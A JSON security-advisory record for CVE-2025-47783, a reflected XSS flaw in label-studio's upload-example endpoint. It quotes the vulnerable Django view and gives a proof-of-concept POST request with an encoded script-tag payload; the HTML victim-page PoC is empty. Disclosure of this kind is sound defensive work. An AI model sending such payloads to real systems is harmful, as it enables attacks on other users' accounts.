{"id":"CVE-2025-47783","aliases":["GHSA-8jhr-wpcm-hh4h","PYSEC-2025-124"],"url":"https://o3.security/vulnerability/CVE-2025-47783","summary":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","details":"### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41: \"\"\"Generate upload data example by config only\"\"\"\n42: config = request.POST.get('label_config', '')\n43: \n44: org_pk = get_organization_from_request(request)\n45: secure_mode = False\n46: if org_pk is not None:\n47: org = generics.get_object_or_404(Organization, pk=org_pk)\n48: secure_mode = org.secure_mode\n49: \n50: try:\n51: Project.validate_label_config(config)\n52: task_data, _, _ = get_sample_task(config, secure_mode)\n53: task_data = playground_replacements(request, task_data)\n54: except (ValueError, ValidationError, lxml.etree.Error):\n55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56: else:\n57: response = HttpResponse(json.dumps(task_data))\n58: return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57: response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\n \n
\n \n \n
\n \n \n\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.","published":"2025-05-14T23:01:17.213Z","modified":"2026-08-12T03:51:12.571103969Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"label-studio","fixedVersion":"1.18.0"}],"fix":{"url":"https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d","label":"HumanSignal/label-studio@97db9e7"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47783.json"},{"type":"ADVISORY","url":"https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47783"},{"type":"WEB","url":"https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d"},{"type":"PACKAGE","url":"https://github.com/HumanSignal/label-studio"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.571103969Z"}}